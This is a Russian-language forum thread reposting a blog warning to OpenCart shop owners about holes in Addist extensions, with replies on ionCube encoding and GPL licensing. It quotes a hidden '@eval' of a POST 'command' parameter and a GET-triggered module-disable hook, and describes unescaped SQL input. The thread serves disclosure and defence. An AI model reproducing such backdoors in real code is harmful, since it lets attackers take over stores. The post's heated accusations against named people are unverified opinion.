Помощь Ой-ой, у которых есть магазины на Opencart.

xvori

Создатель
Регистрация
20 Дек 2016
Сообщения
40
Реакции
14
Хотел поделиться информацией, которую случайно нашел, тут на сайте ничего подобного не встречал, а почитать интересно.
Чтобы лучше читалось выложу без корректуры, надеюсь не забанят:)
У Лукоморья дуб зеленый…
Другого названия происходящему, у меня придумать не получилось.

Я вас никогда не просил сделать репосты, и распространить информацию.
Это первый и надеюсь последний раз по такому поводу, но я вас убедительно прошу, мои дорогие читатели, друзья, враги, хейтеры.
Распространите эту статью максимально по своим знакомым у которых есть магазины на Opencart.
Только в моем контакт листе в скайпе из 200 человек, 10 нашли у себя эту заразу.

Попробую достаточно подробно описать вам всю ситуацию с уязвимостью в дополнениях от Addist и выразить свои догадки, почему так произошло и что делать, чтобы подобная ситуация не повторилась.


Небольшая предыстория. Три дня назад мне в личку прислали файлы модуля от Addist, в которых оказалась целая гора сюрпризов.

1 Самый явный — это:
Код:
@eval($this->request->post['command']);

2 Кроме этого:

Код:
if (!empty($this->request->get['deactivate']))
{
$this->cache->delete($this->request->get['deactivate']);
$this->config->remove($this->request->get['deactivate']);
}

3 И еще

addist_sucks.png.pagespeed.ce.zFiYl_1W--.png


Для тех кто ничего не понимает в программировании, объясню на пальцах:
1. Код позволяет на вашем сервере выполнить любую команду при помощи функции eval(). Грубо говоря, если у вас стоит дополнение Addist, то получить ftp вашего магазина — это 5 секунд времени. Сделал это аддист специально, или случайно — не важно. Факт в том что такие модули обнаружились у почти 1000 владельцев работающих магазинов. Как я предполагал.

2. Во втором примере, господин Мумтоз, как называет себя Аддист, вставил инструмент, который позволяет включать-отключать его модуль также извне удаленной командой на сверер. Но то что при помощи этой конструкции можно заебать владельца магазина до смерти и отключать нон-стоп любые модули, про это аддист или не подумал. Или сделал так специально.

3. Ранее я писал про другие уязвимости в других дополнениях, Аддист болеет и этим — никакого экранирования данных передаваемых в базу, и если соответствующим образом составить данные, при помощи этой дыры можно сделать запрос в базу магазина к примеру добавить пользователя с правами суперадмина, ну а там уже перехватить полный доступ к магазину — тоже не проблема.

——————————————————————————————————————————————

После того, как я получил эту информацию, мы сделали скрипт проверки уязвимости, сделали заплатку для нее ну и я связался с Диноксом и с 19ым, для того чтобы уведомить всех покупателей и участников комьюнити о наличии данной уязвимости.

C нашего форума и с Liveopencart рассылка пошла сразу же. А вот с Opencartforumом возникла проблема, так как он оказался в стадии переноса, и сделать рассылку не получается до сих пор. Я все же надеюсь, что в течении следующей недели, они решат эту проблему и у нас получится охватить.

—————————————————————————————————————————————

Как я отношусь к этой ситуации.

Есть несколько аспектов, которые меня немного напрягают.

Как многие знают, все дополнения Addist были по непонятным причинам сняты с продажи на Opencartforum и на Liveopencart.
Но не всех война убила и есть еще опенкарт рашша. Основных персонажей, которые стоят за этим проектом я не знаю. Но и знать не хочу. Лично у меня есть для этого достаточно оснований.

1) Все вонючки с opencartforum, которым по каким то причинам стало там некомфортно, на ресурсах раши, чувствуют себя богами. Не будем тыкать пальцем, все всех знают.

2) Смешно Opencart Russia и в топе Равиль и Мумтоз, осталось позвать Равшан и Джамшут и будет Опенкарт Наша Раша, насяльника.

3) Среди топовых участников этого сообщества, есть несколько людей, устанавливающих клиентам варез, лично ловил за руку.

4) Эти талантливые во всех смыслах персонажи. Не сделали ничего кроме перевода. Все их сообщество держиться сугубо на переводе Opencart на русский язык.
Им некошерно использовать seo_pro для модификации ссылок, они даже не знают что это и зачем. Им некошерно делать уникальные Мета заголовки h1 и title.
Вместо того чтобы перенять опыт и взять лучшее от сообщества OcStore, или у нас. Они пошли своим тупорылым путем.

И вот эта тупорылость, недальновидность, глупость хозеяв сообщества ОпенкартНашаРаша — и это я мягко выражаюь, привела к тому что, в их «типа сборке» отсуствует нормальное seo. Соответственно, вместо того чтобы взять seo-pro от rb2 и любой генератор мета-тегов, они пригрели у себя Аддиста, которого погнали ссаными тряпками отовсюду. И им было хорошо. Модули Addist закрывали проблемы с seo, хозяева Нашей Раши зарабатывали комиссию на продаже дополнений, функционал, которых рядом лежит бесплатно, и по качеству реализации на порядок круче.

После обнаружения уязвимости. Мумтоз начал бегать как ужаленный в жопу. И плакать на всех ресурсах, что его взломали, что он не виновен. Это не его код. И с него требуют 50 000 рублей, за то, чтобы «потихому» замять эту ситуацию. А также он сообщил, что устранил на каком то количестве магазинов свою дыру, через ту же дыру.

Лично я не верю ни одному слову. Так как:

1. Мумтоз не предоставил доказательств фактов взлома.
2. По его словам он закрыл уязвимость первого типа, но я вам привел еще две, и третьего типа проблема осталась, ваши магазины все еще под угрозой.
3. Я провел небольшое личное расследование. Модули с уязвимостью у некоторых моих подопечных были куплены более года назад, для разных версий движка и на разных площадках. Чтобы не быть голословным, помните статью про битву упырей. Она написана 6 мая 2016 года. Олег купил у него модуль, в апреле. Мы подняли архив с этим модулем. Уже тогда в нем есть все вышеописанные дыры. Я не верю, что 7 месяцев, Аддист не мог не замечать, что с его сервера распространяется дырявый код.
4. Будучи не самым плохим программистом, Мумтоз, сознательно использовал небезопасные приемы и реализации, зная, что ставит под удар чужие проекты.

Знаете. Я бы с удовольствием подискутировал и с Мумтозом, и с Джамшутом и с Равшаном. И со всеми всеми, про то какой я плохой. Сколько мне заплатили за эти статьи, чтобы замочить Аддиста и Нашу Рашу, почему я раньше костерил по чем свет Динокса и его форум, а теперь перестал, почему я пиарю Liveopencart, а не пиарю Динокса и еще про массу тайн интриг и расследований. Но я не хочу. Вы там уж сами за моей спиной, думаю справитесь. Все что вам в голову взбредет, говорю сразу — это правда. Так и думайте, так и есть. Йода — средоточие зла, интриган, хам деспот и самодур.

Для всех остальных, если вам интересно мое мнение. Могу сказать просто.
Команда неудачников Нашей Раши, породила такое чудовищное явление как модули Аддиста в свободной продаже. В их оправдания я не верю. Если предположить всё-таки, что наша Маша громко плачет, и на самом деле брешет как сидорова коза, то ответственность за ситуацию абсолютно равнозначная. Как на самом Аддисте, так и на владельцах площадки Опенкарт Наша Раша.

Ну и опять же, если вам интересно мнение, что с этим делать скажу просто. Десятой дорогой обходить эту звероферму. Просто забыть адрес площадки Нашей Раши. А также я всем рекомендую УДАЛИТЬ ВСЕ ВСЕ ВСЕ ФАЙЛЫ МОДУЛЕЙ Addist и попросить у него манибек. Я даже не привожу здесь инструкции для htaccess, которыми мы блокировали всем эту дыру. Просто удаляйте модули без разбирательств. Так как просто беглым просмотром нашлось вместо одной дыры целых три.

И ребят, обычно я всегда каким то образом даю однозначные рекомендации, советы. В данной ситуации все вышенаписанное — это мое личное мнение! Я не настаиваю, чтобы вы к нему прислушивались, я ни в коем случае не призываю вас переходить на мою сторону, становиться моим фанатом, последователем, разделять мои мысли и идеи.
Я просто собрал в кучу ответы на вопросы, которые сыпятся на меня в личке и в комментариях к предыдущей статье.

p.s. Мумтозы, Равили и так далее… Идите лесом. Я изначально хотел дать вам возможность разместить пост в свое оправдание. Но ваше поведение — ниже плинтуса. Поэтому, вам не место у меня в блоге, ищите площадку плакаться за жизнь в другом месте. Здесь ваших комментариев в свое оправдание не будет. Это не Валдайский Дискуссионный клуб!

П.С. Пинайте если что не так.
 
Только сносить все модули от этого автора, либо вскрывать ионкуб и править. Ни то ни другое без вариантов. Поэтому лучше удалить и найти замену этим модулям.
 
ух ты, я давно писала на форуме, ещё в далёком 15-м, сралась с этим мумтозом в личке, а он мне мол типа "да кто ты такая, я мега кодер, у меня даже автоматически после продажи модуля, отправляется письмо клиенту с кодом активации, всё автоматизировано... а когда ткнула пальцем в его код, который корректно подметил xvori, да и не только, там говнокод откровенный, сперва он его обфусцировал, в первых версиях своих творений, а потом под куб засунул, то после всего этого - в игнор добавил, но я то не шумела, так, не люблю, когда клиента не один месяц ведёш, к тебе люди обращаются регулярно за допилами, а тут - говнишен-код, фу-фу-фу... спасибо что хоть кто то заметил и отписал.
 
с этим ioncube все поголовно с ума посходили, каждый девелопер теперь норовит засунуть туда свои детища, даже когда это и не оправдано. А все начинается с того что никто не хочет платить за софт, тем более за говеный. Ищите альтернативу, она всегда есть)
 
с этим ioncube все поголовно с ума посходили, каждый девелопер теперь норовит засунуть туда свои детища, даже когда это и не оправдано. А все начинается с того что никто не хочет платить за софт, тем более за говеный. Ищите альтернативу, она всегда есть)
отвечу с точки зрения разработчицы, что иногда обида давит, когда ты вкладываешь душу, пишешь код, допиливаешь его, а спросу нет, вроде и цену не высокую ставишь, одна покупка в месяц и тут раз... и твой код на варезнике... не камильфо, вот и выход такой - что под куб - как альтернатива сунуть, но, как выразились ранее, не всё то солнышко, что блестит, иногда под куб суют не только плагиат или говнокод, иногда просто спижженый модуль просто переименовали названия контроллеров и моделей - под куб и готово.
 
отвечу с точки зрения разработчицы, что иногда обида давит, когда ты вкладываешь душу, пишешь код, допиливаешь его, а спросу нет, вроде и цену не высокую ставишь, одна покупка в месяц и тут раз... и твой код на варезнике... не камильфо, вот и выход такой - что под куб - как альтернатива сунуть, но, как выразились ранее, не всё то солнышко, что блестит, иногда под куб суют не только плагиат или говнокод, иногда просто спижженый модуль просто переименовали названия контроллеров и моделей - под куб и готово.
А есть еще такая вещь, как опенсорс лицензия. Так вот все разрабы под опенкарт которые криптую свои поделия, ее нарушают. И криптуют, прошу заметить, только в рунете. Буржуи этим не страдают.
 
А есть еще такая вещь, как опенсорс лицензия. Так вот все разрабы под опенкарт которые криптую свои поделия, ее нарушают. И криптуют, прошу заметить, только в рунете. Буржуи этим не страдают.
так криптуют то не от хорошей жизни... буржуйский юзер то тоже не особо по варезникам лазиют, там добросовестно пойдут и купят, а не как у нас... так что вопрос о лицензии, ровным счетом как и о пользовании мастдая, корела и прочей адобовской ереси думаю тут будет немного неактуален, хоть и согласно лицухе опена - нарушен.
 
А есть еще такая вещь, как опенсорс лицензия. Так вот все разрабы под опенкарт которые криптую свои поделия, ее нарушают. И криптуют, прошу заметить, только в рунете. Буржуи этим не страдают.
Под опенсорс лицензию попадает вроде как сам движок, а не все что под него делается?
То-есть если возмешь движок и както его модифицируешь по типу OcStore и выложишь куда-то - то это должно быть опенсорс
А модули под опенсорс уже не попадают.
 
Под опенсорс лицензию попадает вроде как сам движок, а не все что под него делается?
То-есть если возмешь движок и както его модифицируешь по типу OcStore и выложишь куда-то - то это должно быть опенсорс
А модули под опенсорс уже не попадают.
Вот именно, что вроде. На самом деле, gpl-3 говорит однозначно, если модули могут работать самостоятельно - не подпадают по действие лицензии.
 
Назад
Сверху